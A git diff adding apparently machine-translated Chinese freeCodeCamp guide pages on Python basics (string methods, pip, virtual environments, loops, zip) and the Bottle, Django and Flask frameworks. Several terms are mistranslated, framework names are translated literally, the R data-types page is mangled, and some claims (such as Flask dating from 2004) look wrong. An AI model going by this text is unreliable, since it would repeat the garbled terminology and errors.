+string = "freeCodeCamp is fun and informative" 
+ print(string.split(" ", 2)) 
+```
+
+输出：
+
+```python
+['freeCodeCamp', 'is', 'fun and informative'] 
+```
+
+#### 更多信息
+
+查看[有关字符串拆分](https://docs.python.org/2/library/stdtypes.html#str.split)的[Python文档](https://docs.python.org/2/library/stdtypes.html#str.split)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/string-strip-method/index.md b/client/src/guide/chinese/python/string-methods/string-strip-method/index.md
new file mode 100644
index 0000000000..ff822ba8ff
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/string-strip-method/index.md
@@ -0,0 +1,38 @@
+---
+title: String Strip Method
+localeTitle: 字符串条方法
+---
+## 字符串条方法
+
+在Python， `lstrip()` ， `rstrip()`和`strip()`从字符串中剥离字符有三个选项。
+
+每个都将返回字符串的副本，其中包含从开头，结尾或开头和结尾删除的字符。如果没有给出参数，则默认为剥离空白字符。
+
+例：
+
+```py
+>>> string = '   Hello, World!    ' 
+ >>> strip_beginning = string.lstrip() 
+ >>> strip_beginning 
+ 'Hello, World!    ' 
+ >>> strip_end = string.rstrip() 
+ >>> strip_end 
+ '   Hello, World!' 
+ >>> strip_both = string.strip() 
+ >>> strip_both 
+ 'Hello, World!' 
+```
+
+可选参数可以作为包含要删除的所有字符的字符串提供。
+
+```py
+>>> url = 'www.example.com/' 
+ >>> url.strip('w./') 
+ 'example.com' 
+```
+
+但是，请注意只有第一个`.`从字符串中剥离出来。这是因为`strip`函数仅剥离位于左侧或最右侧的参数字符。因为w出现在第一个之前`.`它们被剥离在一起，而'com'出现在右边的前面`.`剥离后`/`
+
+#### 更多信息：
+
+字符串方法[文档](https://docs.python.org/3/library/stdtypes.html#string-methods) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/ternary-operator/index.md b/client/src/guide/chinese/python/ternary-operator/index.md
new file mode 100644
index 0000000000..1774f79a45
--- /dev/null
+++ b/client/src/guide/chinese/python/ternary-operator/index.md
@@ -0,0 +1,39 @@
+---
+title: Python Ternary Operater
+localeTitle: Python三元歌剧
+---
+# Python中的三元运算符
+
+Python中的三元操作（通常也称为条件表达式）允许程序员执行评估并根据给定条件的真实性返回值。
+
+三元运算符与标准`if` ， `else` ， `elif`结构的区别在于它不是控制流结构，并且在Python语言中表现得更像其他运算符，例如`==`或`!=` 。
+
+### 例
+
+在此示例中，如果`val`变量为偶数，则返回字符串`Even` ，否则返回字符串`Odd` 。然后将返回的字符串分配给`is_even`变量并打印到控制台。
+
+#### 输入
+
+```python
+for val in range(1, 11): 
+    is_even = "Even" if val % 2 == 0 else "Odd" 
+    print(val, is_even, sep=' = ') 
+```
+
+#### 产量
+```
+1 = Odd 
+ 2 = Even 
+ 3 = Odd 
+ 4 = Even 
+ 5 = Odd 
+ 6 = Even 
+ 7 = Odd 
+ 8 = Even 
+ 9 = Odd 
+ 10 = Even 
+```
+
+### 来源
+
+https://docs.python.org/2.5/whatsnew/pep-308.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/truth-value-testing/index.md b/client/src/guide/chinese/python/truth-value-testing/index.md
new file mode 100644
index 0000000000..d161774c29
--- /dev/null
+++ b/client/src/guide/chinese/python/truth-value-testing/index.md
@@ -0,0 +1,20 @@
+---
+title: Python Truth Value Testing
+localeTitle: Python真值测试
+---
+[Python Docs - 真值测试](https://docs.python.org/3/library/stdtypes.html#truth-value-testing)
+
+可以测试任何对象的真值，用于`if`或`while`条件或布尔运算的操作数，如`and` ， `or` ，或`not` 。
+
+以下值被视为false：
+
+*   `None`
+*   `False`
+*   任何数值类型的零，例如， `0` ， `0.0` ， `0j` ， `Decimal(0)` `Fraction(0, 1)`
+*   任何空序列，例如`''` ， `()` ， `[]` ， `set()` ， `range(0)` 。
+*   任何空映射，例如`{}` 。
+*   用户定义的类的实例，如果该类定义`__bool__()`或`__len__()`方法，则该方法返回`False`或`0` 。
+
+所有其他值都被认为是真的 - 所以许多类型的对象总是正确的。
+
+除非另有说明，具有布尔结果的操作和内置函数总是返回`0`或`False`表示false， `1`或`True`表示true。 （重要的例外：布尔运算`or` `and`始终返回其中一个操作数。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/using-pip/index.md b/client/src/guide/chinese/python/using-pip/index.md
new file mode 100644
index 0000000000..be343ff5b4
--- /dev/null
+++ b/client/src/guide/chinese/python/using-pip/index.md
@@ -0,0 +1,67 @@
+---
+title: Python Using Pip
+localeTitle: Python使用Pip
+---
+我们已经了解了如何使用`import`语句`import`各种模块并在我们的程序中使用它们。 Python本身带有几个内置模块，但Python社区提供了更多功能。
+
+> 这是使python如此强大的模块！
+
+第三方模块为Python添加了更多功能。现在我们将学习如何安装这些模块，以便我们可以在我们的程序中使用它们。
+
+最简单的方法是使用`pip`
+```
+pip install <module_name> 
+```
+
+如果您使用过`npm` ，那么您可以将其视为Python的_npm_ 。
+
+旁注：区别在于使用npm，默认情况下`npm install`会将软件包本地安装到项目中，而默认情况下`pip install`会全局安装。要在本地安装模块，您需要创建并激活所谓的[虚拟环境](http://docs.python-guide.org/en/latest/dev/virtualenvs/) ，因此`pip install` installs安装到该虚拟环境所在的文件夹，而不是全局（可能需要管理员权限）。
+
+上一次，在`import-statements` wiki中，我们使用`requests`模块作为示例。由于它是第三方模块，我们必须在安装python后单独安装它。
+
+安装它就像`pip install requests`一样简单。你甚至可以传递各种参数。你经常遇到的那个是`--upgrade` 。您可以通过以下方式升级python模块：
+```
+pip install <module_name> --upgrade 
+```
+
+例如，将请求模块升级到其最新版本就像`pip install requests --upgrade`一样简单。
+
+在使用`pip`之前，您需要安装它（它非常简单）。你可以从[这里](https://bootstrap.pypa.io/get-pip.py)安装它
+
+只需点击链接即可。并将文件保存为`get-pip.py` _请不要忘记`.py`扩展名。_然后运行它。
+
+使用pip的另一种方法是尝试[`easy_install`](https://bootstrap.pypa.io/ez_setup.py) 。
+
+使用`easy_install`也很简单。语法是：
+```
+easy_install <module_name> 
+```
+
+但是， `pip`比使用`easy_install`更受欢迎。
+
+**注意：**在某些安装了Python 2和Python 3的系统上， `pip`和`pip3`会做不同的事情。 `pip`安装包的Python 2版本， `pip3`将安装包的Python 3版本。有关Python 2和3之间差异的更多信息，请参阅[本](https://guide.freecodecamp.org/python/python-2-vs-python-3)指南。 您可以通过`pip --version`和/或`pip3 --version`检查`pip`版本：
+```
+pip3 --version 
+ pip 18.0 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5) 
+```
+
+我们还可以创建一个txt文件，其中包含应使用pip安装的模块列表。 例如，我们可以创建文件`requirements.txt`及其内容：
+```
+Kivy-Garden==0.1.4 
+ macholib==1.5.1 
+ idna==2.6 
+ geoip2nation==0.1.2 
+ docutils>=0.14 
+ Cython 
+```
+
+在此文件中，我们还可以为安装设置版本。 在此之后，通过调用pip：
+```
+ pip install -r <FILE CONTAINING MODULES> 
+ 
+          OR IN OUR CASE 
+ 
+ pip install -r requirements.txt 
+```
+
+应该安装文件中列出的所有模块。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/using-python-for-web-development/index.md b/client/src/guide/chinese/python/using-python-for-web-development/index.md
new file mode 100644
index 0000000000..2456bfe538
--- /dev/null
+++ b/client/src/guide/chinese/python/using-python-for-web-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Using Python for Web Development
+localeTitle: 使用Python进行Web开发
+---
+Python以其优美的语法和易读性而闻名。这种脚本语言可用于对您的Web应用程序概念进行快速而肮脏的原型设计。它还可用于构建可扩展和可维护的大型Web应用程序。
+
+#### 最流行的Python Web框架：
+
+*   Django的
+*   烧瓶
+*   瓶子
+*   金字塔
+*   的web2py
+
+因此，让我们开始使用一些Web框架，并了解它们如何帮助构建Web应用程序。但在此之前，我们需要通过[在Python中](https://guide.freecodecamp.org/python/setting-up-python-web-framework-django-and-flask)完成[Web框架的安装](https://guide.freecodecamp.org/python/setting-up-python-web-framework-django-and-flask)来设置开发环境。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/variable-names-and-binding/index.md b/client/src/guide/chinese/python/variable-names-and-binding/index.md
new file mode 100644
index 0000000000..f1357638b5
--- /dev/null
+++ b/client/src/guide/chinese/python/variable-names-and-binding/index.md
@@ -0,0 +1,31 @@
+---
+title: Python Variables Names and Binding
+localeTitle: Python变量名称和绑定
+---
+除非有办法使用它们，否则拥有_对象_是没用的。为了使用_对象_ ，必须有一种方法来引用它们。在Python中，这是通过**将**对象**绑定**到**名称**来完成的。详细的概述可以在[这里](https://docs.python.org/3/reference/executionmodel.html)找到
+
+这样做的一种方法是使用[_赋值语句_](https://docs.python.org/3/reference/simple_stmts.html#assignment-statements) 。这通常称为在Python的上下文中_分配变量_ 。如果在其他语言的上下文中谈论编程，则将_对象_ **绑定**到**名称**可能更精确。
+```
+>>> some_number = 1 
+ >>> print(some_number) 
+ 1 
+```
+
+在上面的示例中，赋值语句的目标是名称（标识符）， `some_number` 。分配的_对象_是数字1.语句**将** _对象_ **绑定**到**名称** 。第二个语句，我们使用这个绑定`print` `some_number`引用的_对象_ 。
+
+标识符不以_类型_开头。那是因为Python是动态类型的语言。标识符绑定到具有_类型_的_对象_ ，但是，标识符本身可以反弹到另一个不同_类型的_ _对象_ ：
+```
+>>> some_variable = 1 
+ >>> print(some_variable) 
+ 1 
+ >>> some_variable = "Hello campers!" 
+ >>> print(some_variable) 
+ Hello campers! 
+```
+
+命名变量时，必须遵循以下规则：
+
+*   变量名必须以字母或下划线字符开头
+*   变量名不能以数字或特殊字符开头（！@＃％^＆\*等）
+*   变量名只能包含字母数字字符和下划线（Az，0-9和\_）
+*   变量名称区分大小写（num，NUM和Num是三个不同的变量）
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/virtual-environments/index.md b/client/src/guide/chinese/python/virtual-environments/index.md
new file mode 100644
index 0000000000..acb92e036b
--- /dev/null
+++ b/client/src/guide/chinese/python/virtual-environments/index.md
@@ -0,0 +1,148 @@
+---
+title: Virtual Environments
+localeTitle: 虚拟环境
+---
+## 虚拟环境
+
+虚拟环境可以描述为隔离的安装目录。这种隔离允许您本地化项目依赖项的安装，而不必强制您在系统范围内安装它们。
+
+想象一下，你有两个应用程序App1和App2。两者都需要包Pak，但有不同的版本。如果您为App1安装Pak版本2.3，您将无法运行App2，因为它需要3.1版。这是虚拟环境派上用场的时候。
+
+优点：
+
+*   您可以拥有多个环境，包含多组软件包，它们之间没有冲突。这样，可以同时满足不同项目的要求。
+*   您可以使用自己的相关模块轻松发布项目。
+
+您可以通过以下两种方式创建Python虚拟环境。
+
+## VIRTUALENV
+
+[`virtualenv`](https://virtualenv.pypa.io/en/stable/)是一个用于创建独立Python环境的工具。它创建了一个文件夹，其中包含使用Python项目所需的所有必需的可执行文件。
+
+你可以用`pip`安装它：
+```
+pip install virtualenv 
+```
+
+使用以下命令验证安装：
+```
+virtualenv --version 
+```
+
+### 创建一个Environemnt
+
+要创建虚拟环境，请使用：
+```
+virtualenv --no-site-packages my-env 
+```
+
+这将在当前目录中创建一个文件夹，其中包含环境名称（ `my-env/` ）。此文件夹包含用于安装模块和Python可执行文件的目录。
+
+您还可以指定要使用的Python版本。只需使用参数`--python=/path/to/python/version` 。例如， `python2.7` ：
+```
+virtualenv --python=/usr/bin/python2.7 my-env 
+```
+
+### 列出环境
+
+您可以列出可用的环境：
+```
+lsvirtualenv 
+```
+
+### 激活环境
+
+在开始使用环境之前，您需要激活它：
+```
+source my-env/bin/activate 
+```
+
+这确保仅使用`my-env/`下的包。
+
+您会注意到环境的名称显示在提示的左侧。这样您就可以看到哪个是活动环境。
+
+### 安装包
+
+您可以逐个安装软件包，也可以为项目设置`requirements.txt`文件。
+```
+pip install some-package 
+ pip install -r requirements.txt 
+```
+
+如果要从已安装的软件包创建`requirements.txt`文件，请运行以下命令：
+```
+pip freeze > requirements.txt 
+```
+
+该文件将包含当前环境中安装的所有软件包的列表及其各自的版本。这将帮助您使用自己的相关模块发布项目。
+
+### 停用环境
+
+如果您已完成虚拟环境的使用，则可以使用以下命令停用它：
+```
+deactivate 
+```
+
+这将使您回到系统的默认Python解释器及其所有已安装的库。
+
+### 删除环境
+
+只需删除环境文件夹即可。
+
+## 康达
+
+[`Conda`](https://conda.io/docs/index.html)是许多语言（包括Python）的包，依赖和环境管理。
+
+要安装Conda，请按照以下[说明操作](https://conda.io/docs/user-guide/install/index.html) 。
+
+### 创建一个环境
+
+要创建虚拟环境，请使用：
+```
+conda create --name my-env 
+```
+
+Conda将在Conda安装目录中创建相应的文件夹。
+
+您还可以指定要使用的Python版本：
+```
+conda create --name my-env python=3.6 
+```
+
+### 列出环境
+
+您可以列出所有可用的环境：
+```
+conda info --envs 
+```
+
+### 激活环境
+
+在开始使用环境之前，您需要激活它：
+```
+source activate my-env 
+```
+
+### 安装包
+
+与`virtualenv`相同。
+
+### 停用环境
+
+如果您已完成虚拟环境的使用，则可以使用以下命令停用它：
+```
+source deactivate 
+```
+
+### 删除环境
+
+如果要从Conda中删除环境，请使用：
+```
+conda remove --name my-env 
+```
+
+#### 更多信息：
+
+*   `virtualenv` [官方网站](https://virtualenv.pypa.io/en/stable/)
+*   `Conda` [官方网站](https://conda.io/docs/index.html)
+*   [Hitchhicker的](http://docs.python-guide.org/en/latest/dev/virtualenvs/) `The Hitchhicker's Guide to Python` - [Pypenv和虚拟环境](http://docs.python-guide.org/en/latest/dev/virtualenvs/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
new file mode 100644
index 0000000000..d45a9d2eae
--- /dev/null
+++ b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
@@ -0,0 +1,89 @@
+---
+title: Bottle
+localeTitle: 瓶子
+---
+瓶子框架使我们能够非常快速，轻松地启动和运行基本的Web应用程序。
+
+以下详细介绍了如何编写和运行简单的问候Web应用程序，我们可以在表单中输入我们的名称，按提交并回复问候语。
+
+1.  使用`pip`安装瓶子包装。
+    
+    ```
+    pip install bottle 
+    
+    ```
+    
+2.  创建加载站点时要提供的`html`文件。例如`index.html` 。
+    
+    让我们在此页面中添加标题和基本表单。
+    
+    ```html
+    
+    <h3>Say Hello</h3> 
+     
+     <form action="/hello" method="get"> 
+     Name: 
+        <input type="text" name="name"><br><br> 
+        <input type="submit"> 
+     </form> 
+    
+    ```
+    
+3.  创建一个新的python文件，例如`main.py`
+    
+4.  在文件的第一行，我们需要从瓶模块导入get，request和run函数。
+    
+    ```python
+    from bottle import get, request, run 
+    
+    ```
+    
+5.  现在我们定义我们的函数来在访问根页面时提供html文件。
+    
+    这里我们使用`@get`装饰器，它指定此函数应响应`HTTP GET`请求并传入`'/'`作为函数将被调用的路径。
+    
+    接下来，我们使用`def`关键字定义`index()`函数。
+    
+    要读取并返回我们在步骤2中创建的html文件，我们使用所谓的上下文管理器。它为我们处理打开和关闭文件，允许我们读取文件和内容并使用`return`语句返回它们。
+    
+    ```python
+    @get('/') 
+     def index(): 
+        with open('./index.html') as f: 
+            return f.read() 
+    
+    ```
+    
+6.  为了让网站运行并监听请求，我们需要添加对瓶框架`run`函数的调用，如下所示。
+    
+    在这里，我们传入将运行Web应用程序的主机，在本例中为`localhost` ，以及它应该侦听HTTP请求的端口。
+    
+7.  运行应用程序并将其加载到浏览器http：// localhost：8080 /中，您应该看到我们在浏览器中创建的eariler渲染的html文件。
+    
+    如果我们输入我们的名字并按现在提交，我们将收到`HTTP 404`错误，因为我们尚未定义响应此请求的功能。
+    
+    ```python
+    run(host='localhost', port=8080) 
+    
+    ```
+    
+8.  回到我们的`main.py`文件中，我们现在需要定义在汇总表单时要响应的函数。
+    
+    我们再次在这里使用`@get`装饰器，但是这次我们传入`'/.hello'`作为路径。您可能会注意到，这与我们在`index.html`中的表单的action属性中定义的路径相同。
+    
+    接下来我们从url中检索`name`值，在提交表单时，表单数据的url编码如下：http：// localhost：8080 / hello？name = Jon + Snow
+    
+    最后，我们返回问候语，附上表格中输入的姓名。
+    
+    ```python
+    @get('/hello') 
+     def hello(): 
+        name = request.query['name'] 
+        return f'Hello {name}' 
+    
+    ```
+    
+
+### 来源
+
+https://bottlepy.org/docs/dev/
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/django/index.md b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/django/index.md
new file mode 100644
index 0000000000..7f3006ac63
--- /dev/null
+++ b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/django/index.md
@@ -0,0 +1,21 @@
+---
+title: Django
+localeTitle: Django的
+---
+## 概述：
+
+Django是一个高级Python Web框架，鼓励快速开发和清晰，实用的设计。由经验丰富的开发人员构建，它解决了Web开发的大部分麻烦，因此您可以专注于编写应用程序而无需重新发明轮子。它是免费和开源的。
+
+快得多。 Django旨在帮助开发人员尽快将应用程序从概念到完成。
+
+完全读取。 Django包含许多可用于处理常见Web开发任务的附加功能。 Django负责用户身份验证，内容管理，站点地图，RSS源以及更多任务 - 开箱即用。
+
+令人放心的安全。 Django认真对待安全性并帮助开发人员避免许多常见的安全错误，例如SQL注入，跨站点脚本，跨站点请求伪造和点击劫持。其用户身份验证系统提供了一种管理用户帐户和密码的安全方法。
+
+超级可扩展。 这个星球上一些最繁忙的站点使用Django快速灵活扩展的能力，以满足最繁忙的交通需求。
+
+令人难以置信的多才多艺。 公司，组织和政府已经使用Django来构建各种各样的东西 - 从内容管理系统到社交网络再到科学计算平台。
+
+### 来源
+
+https://www.djangoproject.com/
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/index.md b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/index.md
new file mode 100644
index 0000000000..9c2872307d
--- /dev/null
+++ b/client/src/guide/chinese/python/web-frameworks-and-what-they-do-for-you/index.md
@@ -0,0 +1,59 @@
+---
+title: Python Web Frameworks and What They Do 
+localeTitle: Python Web框架及其功能
+---
+我们在前面的文章中非常自由地使用了`framework`这个词。你可能熟悉或不熟悉那是什么。尽管如此，我们将讨论Python Web框架为您做什么，开箱即用。
+
+如果你要建立许多具有不同功能的网站，那么非正式地说，Web框架可以为你做些_反复_做的事情。
+
+让我们采取一个非常粗略的例子，并尝试做一个简单的类比。说，你去吃饭，这是一家高档餐厅。它可以是任何类型的餐厅 - 意大利，墨西哥，印度，韩国，泛亚洲。
+
+试着想一下顾客走进餐厅时常见的事情。代客可能会带你的车去验证停车。如果您预订，可能会在接待处询问您;你们有多少朋友和你在一起您可能会被带到您的餐桌旁，或被要求等待 - 取决于里面的人群。
+
+一旦就座，您将被问到是否需要常规水或瓶装水。然后有人会问你是否喜欢饮料。你可能会订购一些初学者，然后是主菜;最后，一些甜点。你必须支付账单。
+
+我知道如果你想花一点时间去记忆里走一趟，享受美味的牙齿。完成后，您需要将自己置于经营业务人员的位置。
+
+如果您注意到，您正在为每个客户重复进行一些活动。根据餐厅的类型和时间，有些事情会有所不同。例如，菜单和食品价格。
+
+说，你正在经营这家公司;您还需要处理此业务的其他方面，客户可能会忘记这些方面。例如;工作人员的工资，管理书籍，支付房产的租金和税，打印新的菜单卡等。
+
+你想知道这次谈话的目的地。冷静！我们正在尽快回到Python Web Development。
+
+Web框架为您执行这些重复活动 - 当您仅使用编程语言和某些网络库构建Web应用程序时，您将执行此操作。如请求处理，URL路由，模板编译，上下文设置，CSRF保护，日志记录，通过ORM进行数据库交互，身份验证，响应呈现等。
+
+你可能想知道开发人员要做什么呢？根据应用程序，您必须使用框架API并编写特定于应用程序的逻辑。
+
+您的代码将填补框架代码中_故意_留下的空白 - 并将您的代码与框架相结合;您的Web应用程序将充满活力！
+
+Python中最流行的两个Web框架是Django和Flask。 Django可能是最常用的Python框架。 Django可以帮助您构建网站，您可以同时与客户端（用户）和数据库进行交互。 Flask是一个微框架，它也可以完成Django所做的大部分任务，但是通过使用社区的扩展。其他值得一提的框架是Pylons和Tornado。
+
+### Django的
+
+Django（/dʒæŋɡoʊ/ JANG-goh）是一个免费的开源Web框架，用Python编写，遵循模型 - 视图 - 模板（MVT）架构模式。它由Django软件基金会（DSF）维护，这是一个独立的组织，成立为501（c）（3）非盈利组织。
+
+Django的主要目标是简化复杂的数据库驱动网站的创建。 Django强调组件的可重用性和“可插拔性”，快速开发以及不重复自己的原则。 Python始终使用，甚至用于设置文件和数据模型。 Django还提供可选的管理创建，读取，更新和删除界面，该界面通过内省动态生成并通过管理模型进行配置。
+
+一些使用Django的知名网站包括公共广播服务，Instagram，Mozilla，华盛顿时报，Disqus，Bitbucket和Nextdoor。它在Pinterest上使用，但后来该网站转移到了在Flask上构建的框架。
+
+### 烧瓶
+
+Flask是一个轻量级的WSGI Web应用程序和一个微框架，它被归类为微框架，因为它不需要特定的工具或库。它旨在使入门快速简便，并能够扩展到复杂的应用程序。但是，Flask支持可以添加应用程序功能的扩展，就像它们在Flask本身中实现一样。存在对象关系映射器，表单验证，上载处理，各种开放式身份验证技术和几种常见框架相关工具的扩展。扩展程序的更新速度远远超过核心Flask程序。 Flask通常与MongoDB（NOSQL DataBase）一起使用，它允许更多地控制数据库和历史记录。
+
+它最初是围绕Werkzeug和Jinja的简单包装器，并且已经成为最受欢迎的Python Web应用程序框架之一。
+
+Flask提供建议，但不强制执行任何依赖项或项目布局。开发人员可以选择他们想要使用的工具和库。社区提供了许多扩展，可以轻松添加新功能。
+
+Flask是由一个叫做“Pocoo”的国际Python小组于2004年制作的，作为一个愚人节的笑话，后来被制作成“真实”的东西。根据Wikpedia，它是Github上最常用的Python Web框架。它是一个用Python编写的免费开源微框架（ [在GitHub上查看](https://github.com/freeCodeCamp/guide/tree/master/src/pages/javascript) ）。正如维基百科所述，
+
+Flask被归类为微框架，因为它不需要特定的工具或库。它没有数据库抽象层，表单验证或任何其他预先存在的第三方库提供常用功能的组件。
+
+与Django相比，Flask非常像“不包含电池”的框架。这意味着您需要自己安装用户身份验证，表单和其他内容等模块。这并不是说Flask不是为那些东西制作的，只是说它们不包括在内，而且这些模块是由社区制作的。 Flask还提供了大量详细的文档，网址为http://flask.pocoo.org/docs/。它提供简单性和对较小事物的更多控制。您将无法使用未使用的功能，因为您可以选择添加的内容和不添加的内容。
+
+使用Flask的网站包括Pinterest！ （从Django迁移而来），Twilio的私有API（他们甚至制作了一个名为Flask-RESTful for API的扩展名）和Netflix（使用ScriptFlask，一个基于Flask的工具）
+
+### 瓶子
+
+Bottle是一个Python微框架，允许用户快速启动并运行Python Web应用程序。它比Django等更全面的功能更轻量级，并且没有仅依赖于Python标准库的第三方依赖。
+
+这使得它非常适合小型Web应用程序，在这些应用程序中，不需要Django的一些更高级的功能，例如身份验证或数据库访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/what-is-python-used-for/index.md b/client/src/guide/chinese/python/what-is-python-used-for/index.md
new file mode 100644
index 0000000000..8118e6c720
--- /dev/null
+++ b/client/src/guide/chinese/python/what-is-python-used-for/index.md
@@ -0,0 +1,82 @@
+---
+title: What Is Python Used for
+localeTitle: 什么是Python用于
+---
+## 什么是Python用于
+
+Python可以轻松用于小型，大型，在线和离线项目。利用Python的最佳选择是Web开发，简单的脚本编写和数据分析。 以下是Python允许您执行的操作的几个示例：
+
+##### Web开发：
+
+您可以使用Python在许多复杂程度上创建Web应用程序。有很多优秀的Python Web框架，包括Pyramid，Django和Flask 一些。
+
+##### 数据分析：
+
+Python是许多数据科学家的首选语言。由于许多优秀的库的可用性，Python在该领域越来越受欢迎 专注于数据科学（其中NumPy和Pandas是最着名的两个）和数据可视化（如Matplotlib和Seaborn）。 Pyton真的做了数据处理 所有众多可用库都很有趣。 Ipython与JupyterLab是另一种形式的Python，它改进了Python在数据科学领域的使用。
+
+##### 自动化：
+
+Python是一种非常灵活的语言，可用于自动化无聊或重复性任务。系统管理员经常通过编写易于编写的脚本来使用它 从终端执行。 Python还可以用于创建机器人，自动执行我们的一些日常任务。
+
+##### 人工智能：
+
+Python也广泛用于人工智能（AI）这一不断发展的领域。谷歌选择Python作为首批支持良好的编程语言之一 使用Tensorflow进行培训和与模型交互。
+
+#### 移动应用开发
+
+使用Kivy，Pygame和PyQt可以使用python创建移动应用和游戏。
+
+#### 安全和网络：
+
+Python用于构建广泛使用的网络工具和安全工具.Python的远程自动化是最安全，快速和高效的云测试 框架，这就是为什么专业开发人员使用python来制作大多数安全框架和socket-programmings的原因。
+
+##### 机器学习，深度学习
+
+Python是适用于机器学习，深度学习和数据分析的最佳语言之一，在所有这些语言中都有一个据点。
+
+有一些最适合各种角色的专业语言，如R和MATLAB，但是当涉及重叠的应用领域时，python因为 它的灵活性和快速原型设计以及库的可用性。
+
+#### 电报机器人开发
+
+您可以使用Python和一些Python库来开发自己的[Telegram Bots](https://core.telegram.org/bots)
+
+#### 通过抓取和抓取来收集数据
+
+Python也可以被解析页面源代码使用并检索其数据。使用一些python模块，例如：Scrapy以及（由于某些原因和使用javascript的页面）Selenium应该可以做到！
+
+#### 更多信息：
+
+这是一个官方Python网站的一个部分的[链接](https://www.python.org/about/apps/) ，描述了它的各种应用程序。
+
+#### Python通常用于
+
+*   网络与互联网发展
+*   教育进步
+*   科学研究/计算机
+*   桌面开发
+*   数字计算
+*   软件开发
+*   业务应用开发
+*   机器学习
+*   IOT
+*   游戏开发
+*   快速原型制作
+*   Browser Automation
+*   数据分析
+*   从网站上刮取数据
+*   图像处理
+
+## 为什么python有如此广泛的用途？
+
+*   Python有许多软件包可供使用，其中一些适用于航空航天研究和数学。 \*其次选择成为开源社区的一部分。 是! Python是开源的。
+*   因为它简单而优雅的语法。 \*有许多内置函数，因为python代码的大小比其他在上下文中相同但用不同语言编写的代码要小。
+*   Python还支持面向对象的编程时尚。 因此，这些东西增加了Python在各种社区中的流行程度。
+
+#### 一些文章介绍了python的可用性
+
+*   [10个Python的主要用途](http://www.dummies.com/programming/python/10-major-uses-of-python/)
+*   [Python的应用程序](https://www.python.org/about/apps/)
+*   [Python语言在哪里使用？](https://stackoverflow.com/questions/3043085/where-is-python-language-used)
+*   [Python用于什么？](https://stackoverflow.com/questions/1909512/what-is-python-used-for)
+
+python的官方包索引就[在这里](https://pypi.python.org/pypi) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/while-loop-statements/index.md b/client/src/guide/chinese/python/while-loop-statements/index.md
new file mode 100644
index 0000000000..357b664859
--- /dev/null
+++ b/client/src/guide/chinese/python/while-loop-statements/index.md
@@ -0,0 +1,54 @@
+---
+title: While Loop Statements
+localeTitle: 循环语句
+---
+## 循环语句
+
+Python使用`while`循环与其他流行语言类似。 `while`循环计算条件，然后在条件为真时执行代码块。代码块重复执行，直到条件变为false。
+
+基本语法是：
+
+```python
+counter = 0 
+ while counter < 10: 
+   # Execute the block of code here as 
+   # long as counter is less than 10 
+```
+
+一个例子如下所示：
+
+```python
+days = 0 
+ week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'] 
+ while days < 7: 
+   print("Today is " + week[days]) 
+   days += 1 
+```
+
+输出：
+```
+Today is Monday 
+ Today is Tuesday 
+ Today is Wednesday 
+ Today is Thursday 
+ Today is Friday 
+ Today is Saturday 
+ Today is Sunday 
+```
+
+逐行解释上述代码：
+
+1.  变量'days'设置为值0。
+2.  将变量周分配给包含一周中所有日期的列表。
+3.  while循环开始
+4.  代码块将被执行，直到条件返回'true'。
+5.  条件是'days <7'，其中rougly说运行while循环直到变量天数小于7
+6.  所以当days = 7时，while循环停止执行。
+7.  days变量在每次迭代时都会更新。
+8.  当while循环第一次运行时，“Today is Monday”行被打印到控制台上，变量days变为等于1。
+9.  由于变量天数等于1，小于7，因此再次执行while循环。
+10.  它一次又一次地进行，当控制台打印出“今天是星期天”时，变量天数现在等于7，而while循环停止执行。
+
+#### 更多信息：
+
+*   [Python `while`语句文档](https://docs.python.org/3/reference/compound_stmts.html#the-while-statement)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/zip-function/index.md b/client/src/guide/chinese/python/zip-function/index.md
new file mode 100644
index 0000000000..62d3e5ad6c
--- /dev/null
+++ b/client/src/guide/chinese/python/zip-function/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Zip Function
+localeTitle: Python Zip功能
+---
+`zip()`是Python中的一个内置函数，它返回一个元组列表。第n个元组将具有来自每个可迭代参数的第n个元素。如果序列中的参数长度不等，它将返回一个截断为最短迭代长度的列表。
+
+## 论据
+
+由逗号分隔的任意数量的iterables。
+
+## 回报价值
+
+所有序列中第n个元素的元组列表
+
+## 代码示例
+```
+nums = [1,2,3,4] 
+ print(*nums) # prints 1 2 3 4 
+ numsAndNames = zip([1,2,3],['one','two','three']) 
+ print(*numsAndNames) # prints (1,'one') (2,'two') (3,'three') 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/@StuffsExplained/pythonZipFunction)
+
+[官方文档 - Python 3](https://docs.python.org/3.3/library/functions.html#zip)
+
+[官方文档 - Python 2.7](https://docs.python.org/2/library/functions.html#zip)
\ No newline at end of file
diff --git a/client/src/guide/chinese/r/data-types/index.md b/client/src/guide/chinese/r/data-types/index.md
new file mode 100644
index 0000000000..3293a44ad0
--- /dev/null
+++ b/client/src/guide/chinese/r/data-types/index.md
@@ -0,0 +1,79 @@
+---
+title: Data Types in R
+localeTitle: R中的数据类型
+--- ## 标量
+
+标量是指一次只能容纳一个值的原子量。标量是最基本的数据类型。一些常见类型的标量：
+
+1.  数
+    
+    > x < - 5 y < - 5.5 类（x）的 \[1\]“数字” 类（y）的 \[1\]“数字” 类（X + Y） \[1\]“数字”
+    
+2.  逻辑价值
+    
